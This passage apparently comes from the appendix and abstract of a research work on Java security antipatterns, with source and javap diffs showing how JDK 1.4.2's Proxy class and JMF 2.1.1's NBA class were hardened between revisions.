+ return getStandardProfile(pdi.filename);
}
if (pdi.colorSpaceType == ColorSpace.TYPE_RGB) {
return new ICC_ProfileRGB(pdi);
A.4.5 JDK 1.4.2 from revision 10 to 11
java.lang.reflect.Proxy
--- ../10/src/java/lang/reflect/Proxy.java 2005-10-10 23:05:58.000000000 +0200
+++ ../11/src/java/lang/reflect/Proxy.java 2006-02-13 18:30:42.000000000 +0100
@@ -1,7 +1,7 @@
/*
- * @(#)Proxy.java 1.11 03/01/23
+ * @(#)Proxy.java 1.13 05/11/29
*
- * Copyright 2003 Sun Microsystems, Inc. All rights reserved.
+ * Copyright 2006 Sun Microsystems, Inc. All rights reserved.
* SUN PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
*/
@@ -191,7 +191,7 @@
* successfully by the <code>invoke</code> method.
*
* @author Peter Jones
- * @version 1.11, 03/01/23
+ * @version 1.13, 05/11/29
* @see InvocationHandler
* @since JDK1.3
449
*/
@@ -311,11 +311,17 @@
Class[] interfaces)
throws IllegalArgumentException
{
+ if (interfaces.length > 65535) {
+ throw new IllegalArgumentException("interface limit exceeded");
+ }
+
Class proxyClass = null;
/* buffer to generate string key for proxy class cache */
StringBuffer keyBuffer = new StringBuffer();
+ Set interfaceSet = new HashSet(); // for detecting duplicates
+
for (int i = 0; i < interfaces.length; i++) {
/*
* Verify that the class loader resolves the name of this
@@ -341,6 +347,15 @@
interfaceClass.getName() + " is not an interface");
}
+ /*
+ * Verify that this interface is not a duplicate.
+ */
+ if (interfaceSet.contains(interfaceClass)) {
+ throw new IllegalArgumentException(
+ "repeated interface: " + interfaceClass.getName());
+ }
+ interfaceSet.add(interfaceClass);
+
// continue building string key for proxy class cache
keyBuffer.append(interfaces[i].getName()).append(';');
}
450 Appendix
A.4.6 Java Media Framework 2.1.1 from revision c to e
com.sun.media.NBA
--- com_sun_media_NBA_211c_javap 2003-05-18 22:04:30.000000000 +0200
+++ com_sun_media_NBA_211e_javap 2003-05-18 22:03:42.000000000 +0200
@@ -1,8 +1,8 @@
Compiled from "NBA.java"
-public class com.sun.media.NBA extends java.lang.Object{
- public long data;
- public int size;
- public java.lang.Class type;
+public final class com.sun.media.NBA extends java.lang.Object{
+ private long data;
+ private int size;
+ private java.lang.Class type;
private java.lang.Object javaData;
private int atype;
static java.lang.Class array$S;
@@ -10,11 +10,13 @@
static java.lang.Class array$J;
static java.lang.Class array$B;
public com.sun.media.NBA(java.lang.Class, int);
- public void finalize();
- public java.lang.Object getData();
- public java.lang.Object clone();
- public void copyTo(com.sun.media.NBA);
- public void copyTo(byte[]);
+ protected final synchronized void finalize();
+ public synchronized java.lang.Object getData();
+ public synchronized java.lang.Object clone();
+ public synchronized void copyTo(com.sun.media.NBA);
+ public synchronized void copyTo(byte[]);
+ public synchronized long getNativeData();
+ public int getSize();
private native long nAllocate(int);
private native void nDeallocate(long);
private native void nCopyToNative(long, long, int);
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The importance of JAVA as a programming and execution environment has 
grown steadily over the past decade. Furthermore, the IT industry has adapted 
JAVA as a major building block for the creation of new middleware as well as 
enabling technology to facilitate the migration of existing applications towards 
web-driven environments.
Also, the role of security in distributed environments has gained attention, after 
a large amount of middleware applications replaced enterprise-level mainframe 
systems.  The perspectives on security confidentiality, integrity and availability 
are therefore critical for the success of competing in the market. The vulnerability 
level of every product is determined by the weakest embedded component, and 
selling vulnerable products can cause enormous economic damage to software 
vendors.
Antipatterns are a well-established means on the abstractional level of system 
modeling to educate about the effects of incomplete solutions,  which are also 
important in the later stages of the software development process. 
An important goal of this work is to create the awareness that usage of a pro-
gramming language, which is designed as being secure, is not sufficient to create 
secure and trustworthy distributed applications. 
From a high-level perspective, software architects profit from this work through 
the projection of the quality-of-service goals to protection details. This supports 
their task of deriving security requirements when selecting standard compo-
nents. In order to give implementation-near practitioners a helpful starting point 
to benefit from our research, we provide tools and case-studies to achieve security 
improvements within their own applications.
